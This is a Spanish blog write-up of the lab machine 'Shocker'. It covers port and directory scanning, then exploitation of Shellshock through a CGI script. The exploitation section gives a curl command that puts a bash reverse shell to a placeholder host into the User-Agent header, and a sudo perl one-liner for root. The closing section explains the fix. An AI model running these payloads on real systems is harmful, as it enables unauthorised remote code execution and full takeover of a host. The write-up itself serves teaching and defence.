Entrada

Shocker

Shellshock (CVE-2014-6271) en un CGI de Apache para entrar, y escalada a root con sudo perl sin contraseña.

Shocker

Publicado por Jaime Hereza Niño

Publicado 31/07/2026 Actualizado 04/10/2026
4 min de lectura
Mi puntuación
39669 votos
MáquinaSODificultadIP
ShockerLinuxEasy10.10.10.56

A tener en cuenta...

┌──(jaime㉿kali)-[~]└─$ sudo nano /etc/hosts
10.10.10.56 shocker

Resumen

Shocker es, como su nombre canta, Shellshock: un CGI de Apache que ejecuta bash y hereda las cabeceras HTTP como variables de entorno. Con una User-Agent malintencionada ejecutamos comandos en el servidor, y la escalada es de regalo: el usuario puede lanzar perl como root sin contraseña.

Vulnerabilidad

Shellshock — CVE-2014-6271 (Crítica · 9.8)

Bash tenía un fallo al procesar variables de entorno: si una variable contenía una definición de función seguida de comandos, bash ejecutaba esos comandos al cargarla. Un CGI invocado por Apache mete las cabeceras de la petición como variables de entorno, así que mandando una cabecera como () { :;}; comando conseguimos que el comando se ejecute con los privilegios del servidor web.

sudo perl sin contraseña

El usuario web puede ejecutar /usr/bin/perl como root mediante sudo y sin pedir contraseña. Perl puede lanzar una shell, así que eso es un root directo.

Reconocimiento

Escaneo completo de puertos

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p- -n -Pn -sS --max-retries 1 -O -osscan-guess shocker
PuertoServicioVersión
80httpApache httpd 2.4.18
2222sshOpenSSH 7.2p2

Un Apache en el 80 y un SSH movido al 2222. La web no tiene gran cosa a simple vista, así que toca fuzzear directorios.

Enumeración

Busco rutas típicas y, muy importante, el directorio de CGIs

┌──(jaime㉿kali)-[~]└─$ gobuster dir -u http://shocker -w /usr/share/wordlists/dirb/common.txt -x sh,cgi
/cgi-bin/ (Status: 403)

Con un CGI a la vista, el objetivo es dar con el script concreto. Probando extensiones aparece /cgi-bin/user.sh

┌──(jaime㉿kali)-[~]└─$ curl http://shocker/cgi-bin/user.sh
Content-Type: text/plain Uptime: ...

Un script en bash servido como CGI: candidato perfecto a Shellshock.

Explotación

Paso 1 — ponerme en escucha con nc en el puerto elegido.

Paso 2 — inyectar el payload. Meto el payload de Shellshock en la cabecera User-Agent para que bash ejecute una reverse shell

┌──(jaime㉿kali)-[~]└─$ curl -s http://shocker/cgi-bin/user.sh \
-H 'User-Agent: () { :;}; /bin/bash -c "bash -i >& /dev/tcp/TU_IP/443 0>&1"'

Paso 3 — shell. El CGI mete la User-Agent como variable de entorno, bash la evalúa y ejecuta el comando, devolviendo la shell como el usuario del servicio

shelly@shocker:/usr/lib/cgi-bin$ id uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),...

(En Metasploit, el módulo equivalente es exploit/multi/http/apache_mod_cgi_bash_env_exec.)

Escalada de privilegios

Nada más entrar, el reflejo obligado: ver qué puedo ejecutar con sudo

shelly@shocker:~$ sudo -l User shelly may run the following commands on shocker: (root) NOPASSWD: /usr/bin/perl

Puedo lanzar perl como root sin contraseña. Perl ejecuta comandos del sistema de sobra, así que le pido una shell

shelly@shocker:~$ sudo perl -e 'exec "/bin/bash";' root@shocker:~# id uid=0(root) gid=0(root) groups=0(root)

Root. El truco se consulta igual en GTFOBins buscando 'perl'.

Flags

La de usuario, en el home de shelly

shelly@shocker:~$ cat /home/shelly/user.txt

Y la de root

root@shocker:~# cat /root/root.txt

Cómo se arregla

  • Actualizar bash: Shellshock se parcheó en 2014. Un bash al día cierra el vector por completo.
  • Quitar CGIs innecesarios: si no hace falta mod_cgi, se deshabilita; cada CGI en bash es superficie de ataque.
  • Afinar el sudo: dar perl (o cualquier intérprete) como root y sin contraseña es un root encubierto. Revisar /etc/sudoers siguiendo GTFOBins.
  • Menor privilegio: que el servicio web corra con una cuenta mínima.

Conclusiones

Shocker une dos lecciones muy claras: un bash sin parchear expuesto por CGI permite RCE con una simple cabecera, y un sudo mal configurado convierte a cualquier usuario en root.

Dos hábitos que resuelven máquinas solos: fuzzear el /cgi-bin/ cuando hay Apache, y lanzar sudo -l en cuanto pisas el sistema. Y para la escalada, GTFOBins es tu mejor amigo.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.